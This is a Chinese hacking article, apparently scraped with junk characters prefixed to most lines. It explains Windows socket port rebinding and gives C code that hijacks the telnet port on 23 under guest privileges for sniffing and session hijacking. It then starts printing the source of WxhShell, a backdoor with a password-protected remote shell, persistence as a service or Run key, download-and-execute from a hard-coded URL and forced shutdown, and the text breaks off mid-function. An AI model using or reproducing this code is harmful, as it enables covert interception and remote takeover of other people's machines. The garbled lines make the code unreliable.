在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
z)43+8 ; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^L]+e f`/JY!uj{ saddr.sin_family = AF_INET;
;oob
TW{ saU|.\l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H'?Bx>X ~u,g5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i1FFf[[ L | =N8X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/~J#c= 0/{-X[z 这意味着什么?意味着可以进行如下的攻击:
aJI>qk h?] Yfxc$ub 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6M+~{9(S *=@Z\]"? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;&Eu<%y ',m,wp` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`j_R ?mY <|
Xf4. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$'?CY)h{ Zm&Zz^s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
sl |S9Ix o)"}DeV$& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0)k%nIhj
4?jhZLBU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OaU} 9& &rcr])jg[ #include
W
86S)+h #include
gTO% #include
#\%GrtM #include
P*I\FV DWORD WINAPI ClientThread(LPVOID lpParam);
aOWbIS[8 int main()
6st(s@> {
}! zjj\g^ WORD wVersionRequested;
a^4(7 DWORD ret;
d@,q6R}!MP WSADATA wsaData;
9dqD(S#C;" BOOL val;
n9cWvy&f SOCKADDR_IN saddr;
-}4 H'%Z(i SOCKADDR_IN scaddr;
$dorE~T int err;
+-qD!(&-6 SOCKET s;
'~3(s?B SOCKET sc;
N|1J@"H int caddsize;
78qf HANDLE mt;
1;.}u=8 DWORD tid;
0IQu6
X wVersionRequested = MAKEWORD( 2, 2 );
5jx{O${u err = WSAStartup( wVersionRequested, &wsaData );
KC q3S
if ( err != 0 ) {
(873:"( printf("error!WSAStartup failed!\n");
nfRo:@ return -1;
D!qtb6<. }
n$#^gzU4 saddr.sin_family = AF_INET;
^C<dr}8 h>bmHQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5'+g'9 O!Mm~@MoA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Oo rH saddr.sin_port = htons(23);
r8^1JJ~\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)TRDM[u {
E%H,Hk^ printf("error!socket failed!\n");
g6
7* Bs return -1;
q.Z0Q }
NmOQ7T val = TRUE;
w$61+KH K //SO_REUSEADDR选项就是可以实现端口重绑定的
b$rBxe\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zx=A3I%7 A {
@OwU[\6fc} printf("error!setsockopt failed!\n");
>6jyd{ return -1;
R`TM@aaS: }
[>C^ 0\Z~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
HV>|f'45 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K{q(/>: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a`/[\K6 tH>%`: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V+Cb.$@ {
My)}oN7\z ret=GetLastError();
6JK;]Ah printf("error!bind failed!\n");
=YLt?5|e return -1;
4~Lw:o1a }
jWP(7}U listen(s,2);
G@,qO#5& while(1)
'y'>0'et {
Eptsxyz{ caddsize = sizeof(scaddr);
>A2&
Mjo //接受连接请求
Ge(r6"%7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hrEKmRmF- if(sc!=INVALID_SOCKET)
v,g,c`BjK {
<;v{`@\j{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}"q1B if(mt==NULL)
0qR;Z{k {
H~x0-q<8 printf("Thread Creat Failed!\n");
'-W
p|A break;
]Ms~;MXlx5 }
;=B&t@ }
IXd&$h]Lq CloseHandle(mt);
~j F5%Gu }
r"5]U`+ closesocket(s);
|6_<4lmTxF WSACleanup();
pjbKMx return 0;
_|*3uGo: }
6
D!,vu DWORD WINAPI ClientThread(LPVOID lpParam)
;]<$p[m {
mRQ F5W6 SOCKET ss = (SOCKET)lpParam;
d*q_DV SOCKET sc;
li/O&@g` unsigned char buf[4096];
nNBxT+3*i SOCKADDR_IN saddr;
ckhW?T>l long num;
7sHtJr DWORD val;
{wA@5+[ DWORD ret;
BT`/OD@ //如果是隐藏端口应用的话,可以在此处加一些判断
K})j5CJ/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{yspNyOx saddr.sin_family = AF_INET;
Vfc9+T+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
{d^&$~ saddr.sin_port = htons(23);
%v}:#_va] if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b%|%Rek8 {
8V~w3ssz printf("error!socket failed!\n");
d/R:-{J)c return -1;
9RR1$( f }
~^Vt)/}Q val = 100;
rl4daV&,U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kw=+"U {
go{'mX) }u ret = GetLastError();
\>,{)j q; return -1;
7F+w o }
= @ph if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
TioI$?l>W( {
N'2u`br4KP ret = GetLastError();
fa<83<.D return -1;
nX?fj<oR| }
C7q bofoV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
of{wZU\J+9 {
8?I(wn printf("error!socket connect failed!\n");
LuQ=i`eXx closesocket(sc);
/!7m@P|&D closesocket(ss);
B;7L: return -1;
#C!8a }
].:S!QO while(1)
(M5=8g%>d {
>@TZYdl //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
V=E9*$b] //如果是嗅探内容的话,可以再此处进行内容分析和记录
#a}fI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
=A=er1~% num = recv(ss,buf,4096,0);
{I(Euk>lR if(num>0)
K6|*-Wo. send(sc,buf,num,0);
A"S}) else if(num==0)
7CwG(c/5 break;
b/O~f8t num = recv(sc,buf,4096,0);
;Iv)J|* if(num>0)
7i6-Hq send(ss,buf,num,0);
,ci
tzh else if(num==0)
JrCm >0g break;
<=jE,6_| }
fkk\Q>J9!= closesocket(ss);
nC[L"%E|se closesocket(sc);
zL)m!:_ return 0 ;
na8A}\!< }
\>9%=32u. K*CO%:,- `wk#5[Y_ ==========================================================
fdp/cwd e ~*qi&,4 下边附上一个代码,,WXhSHELL
VN`2bp>5I *K m%Vl ==========================================================
6 D~b9e WERK JA #include "stdafx.h"
rxm!'.+ 0XXu_f@]9 #include <stdio.h>
X$%RJ3t e #include <string.h>
2ht<" #include <windows.h>
dwJ'hg #include <winsock2.h>
{!6!z, #include <winsvc.h>
qZA?M=NT?
#include <urlmon.h>
4MIL#1s my*UN_] #pragma comment (lib, "Ws2_32.lib")
Mx$VAV^\ #pragma comment (lib, "urlmon.lib")
9\Yj`,i5 :5h&f #define MAX_USER 100 // 最大客户端连接数
l'-iIbKX #define BUF_SOCK 200 // sock buffer
ogjm6; #define KEY_BUFF 255 // 输入 buffer
dos$d3B4 rD<@$KpP #define REBOOT 0 // 重启
gD&%$&q #define SHUTDOWN 1 // 关机
+2C:] e2/&X;2 #define DEF_PORT 5000 // 监听端口
Isoqs(Oi <qHwY. #define REG_LEN 16 // 注册表键长度
~u}[VP #define SVC_LEN 80 // NT服务名长度
wm@1jLjrQ WWq)CwR // 从dll定义API
#2x\d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~Bj-n6 QDE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\?
MuORg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
BflF*-s ^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bQ !|Vjv}UO // wxhshell配置信息
u%h]k ,(E struct WSCFG {
|h6)p;`gc int ws_port; // 监听端口
"kf7??Z char ws_passstr[REG_LEN]; // 口令
m,*t}j0 7 int ws_autoins; // 安装标记, 1=yes 0=no
1Pn!{ bU3@ char ws_regname[REG_LEN]; // 注册表键名
6>bKlYl&9 char ws_svcname[REG_LEN]; // 服务名
4S03W
char ws_svcdisp[SVC_LEN]; // 服务显示名
n6ud;jN| char ws_svcdesc[SVC_LEN]; // 服务描述信息
O6boTB_2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G7zfyw}W int ws_downexe; // 下载执行标记, 1=yes 0=no
C"hc.A&4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gKS^-X{x
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)`;?%N\ 3tOnALv };
ap_(/W 0]i#1Si~@ // default Wxhshell configuration
$,'r}
% struct WSCFG wscfg={DEF_PORT,
b/
~&M+) "xuhuanlingzhe",
]iPTB 1,
_0Wdm* "Wxhshell",
EeL~`$f "Wxhshell",
!~>u\h "WxhShell Service",
qK(?\t$ "Wrsky Windows CmdShell Service",
S}fIZ1 "Please Input Your Password: ",
6=|Q>[K 1,
M{hA` "
http://www.wrsky.com/wxhshell.exe",
'4N[bRCn "Wxhshell.exe"
(lt/ t };
U/{cYX )RA7Y}e|m // 消息定义模块
nFxogCn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
t%N#Yh! char *msg_ws_prompt="\n\r? for help\n\r#>";
%H%>6z x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^H&6'A` char *msg_ws_ext="\n\rExit.";
) VJ| char *msg_ws_end="\n\rQuit.";
{e>}.R char *msg_ws_boot="\n\rReboot...";
5UjXpS char *msg_ws_poff="\n\rShutdown...";
{^$rmwN char *msg_ws_down="\n\rSave to ";
.,tf[w 71 +F+jC9j(< char *msg_ws_err="\n\rErr!";
]sbu9O ^"f char *msg_ws_ok="\n\rOK!";
MF%9 :)mV-(+o char ExeFile[MAX_PATH];
t'R&$;z@b int nUser = 0;
]FsPlxk6 HANDLE handles[MAX_USER];
1/j}VC int OsIsNt;
$Fr$9 jq& Eepy%-\ SERVICE_STATUS serviceStatus;
W 4 )^8/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
O:k@'& ]6}|X#_ // 函数声明
:c<C;. int Install(void);
mezP"N=L~ int Uninstall(void);
)UN@|IX int DownloadFile(char *sURL, SOCKET wsh);
DQ~+\ int Boot(int flag);
UI hB void HideProc(void);
//|9J(B] int GetOsVer(void);
>&BgF*mm int Wxhshell(SOCKET wsl);
LH0\SmhU void TalkWithClient(void *cs);
`YIpZ
rB int CmdShell(SOCKET sock);
1.jW^sM int StartFromService(void);
H:p(C?tk{ int StartWxhshell(LPSTR lpCmdLine);
fa"eyBO50 E)>6}0P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u9k##a4.E
VOID WINAPI NTServiceHandler( DWORD fdwControl );
5?6ATP:[ BA
L!6 // 数据结构和表定义
W\FKAvS SERVICE_TABLE_ENTRY DispatchTable[] =
&5C%5C~ch {
g[:5@fI#* {wscfg.ws_svcname, NTServiceMain},
nD E5A {NULL, NULL}
T>W(Caelq };
.>h|e_E hb^e2@i;Oq // 自我安装
@HaWd3 int Install(void)
2u#{K9g {
ygT,I+7\ char svExeFile[MAX_PATH];
/m9t2,KB HKEY key;
PvKe|In( strcpy(svExeFile,ExeFile);
TC J\@|yw = `70]% // 如果是win9x系统,修改注册表设为自启动
.RoO6:T6 if(!OsIsNt) {
Y@;bA=Du} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/kNr5s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aD0w82s]J RegCloseKey(key);
Q7`zrCh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.8fOc.h8h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W6~<7 RegCloseKey(key);
v)rN]b] return 0;
+h*&r~T }
RC\TPG/8! }
jZ.+b
j > }
+ZGOv,l else {
OJ]{FI ITq+Hk
R // 如果是NT以上系统,安装为系统服务
AE^&hH0^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m,]Tl;f if (schSCManager!=0)
b%T-nY2 {
kZf7 SC_HANDLE schService = CreateService
?CM,k0 (
}2DeqY schSCManager,
GTJ\APrH wscfg.ws_svcname,
C,jPr )6) wscfg.ws_svcdisp,
qfN<w&P SERVICE_ALL_ACCESS,
vWzNsWPK"{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
PMkwY{.u SERVICE_AUTO_START,
@WFjM SERVICE_ERROR_NORMAL,
NL2n\%n svExeFile,
Zw"6-h4 NULL,
x"U/M?l NULL,
213D{#2 NULL,
s9O] tk NULL,
zXZy:SD NULL
:sM|~gT );
lL%7lO if (schService!=0)
G{ F>=z"(l {
kZF\V7k CloseServiceHandle(schService);
{TUCa CloseServiceHandle(schSCManager);
{`l]RIig strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c3oI\lU
strcat(svExeFile,wscfg.ws_svcname);
qY#*zx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^W#[6]S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@yobT,DXi RegCloseKey(key);
XTHrf'BU return 0;
:GGsQ
n }
0Wv9K~F }
zz02F+H$Y CloseServiceHandle(schSCManager);
KLAnW# }
| %6B#uy }
w&C SE '_(oa<g return 1;
QZQ@C# PR; }
;|9VPv/ BAqu@F\): // 自我卸载
'!IX;OSjH int Uninstall(void)
Fd|:7NRA< {
<*4=sX@ HKEY key;
FKL}6W: "D@m/l if(!OsIsNt) {
<2|x]b8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5Ko"- RegDeleteValue(key,wscfg.ws_regname);
9DPf2`*$ RegCloseKey(key);
ls#O0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'[Nu;(>a RegDeleteValue(key,wscfg.ws_regname);
.%~
L RegCloseKey(key);
a ,W5T8 return 0;
"@`M>)*o }
0ZPPt(7 }
NP%ll e,l }
I+u=H2][2 else {
[-Q"A
6!Zd B}r@x z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D.$EvUSK<. if (schSCManager!=0)
Xb|hP {
<|.S~HLTQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@LwhQ if (schService!=0)
sM~CP zMa {
|a^ydwb if(DeleteService(schService)!=0) {
hRc\&+#/ CloseServiceHandle(schService);
Q Z9)uI CloseServiceHandle(schSCManager);
kv `x return 0;
r!Mr\ }
Q9W*)gBvn CloseServiceHandle(schService);
UP, 0`fh(y }
-pkeEuwv{ CloseServiceHandle(schSCManager);
azOp53zR }
Q5 ohaxjF }
S5bk<8aPP KHF5Nt return 1;
<<n8 P5pXt }
F!a YK2 9(u2jbA // 从指定url下载文件
TD\QX2m int DownloadFile(char *sURL, SOCKET wsh)
Lg9ktRKK {
xx/DD%IZ HRESULT hr;
|k?,4
Pk char seps[]= "/";
U0)(k}Q) char *token;
Qy4AuMU2 char *file;
@X4;fd char myURL[MAX_PATH];
\6C"bQ char myFILE[MAX_PATH];
:Z1_;`>CT yd>kJk^~/ strcpy(myURL,sURL);
Z\dILt:#z token=strtok(myURL,seps);
lzm9ClkfH while(token!=NULL)
b\^ Sz{ {
9';0vrFeM file=token;
ts9N$?0:V token=strtok(NULL,seps);
%>24.i"l }
fI"`[cA"] CGv(dE,G&] GetCurrentDirectory(MAX_PATH,myFILE);
B_}=v$ strcat(myFILE, "\\");
bM;tQ38* strcat(myFILE, file);
/dWuHS send(wsh,myFILE,strlen(myFILE),0);
j}h50*6KO send(wsh,"...",3,0);
a&Z|3+ZA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m=%W <8[V if(hr==S_OK)
@6t3Us~/ return 0;
/B}]{bcp$ else
C'zMOR6c return 1;
`=CF
|I -U;s,>\) }
KZD&Ih(vC E}"&?oY // 系统电源模块
%M'"%Yn@(y int Boot(int flag)
1u&P,&T {
C ,fIwqOr3 HANDLE hToken;
M_*w)< TOKEN_PRIVILEGES tkp;
e@F&/c yChC&kX
Z+ if(OsIsNt) {
7a@V2cr@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,ew<T{PL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
",~3&wx tkp.PrivilegeCount = 1;
EE%OD~u&9# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
IP{Cj= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Bv9;q3]z- if(flag==REBOOT) {
-B`;Sx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&s]
s]V) return 0;
xn6E f" }
QjZ}*p else {
NWoZDsu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T,H]svN5p return 0;
XP{ nf9& }
;gW~+hW ^ }
{P = {) else {
dB_\,%vAd if(flag==REBOOT) {
]FFU,me2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/Ee0S8!Z!1 return 0;
2<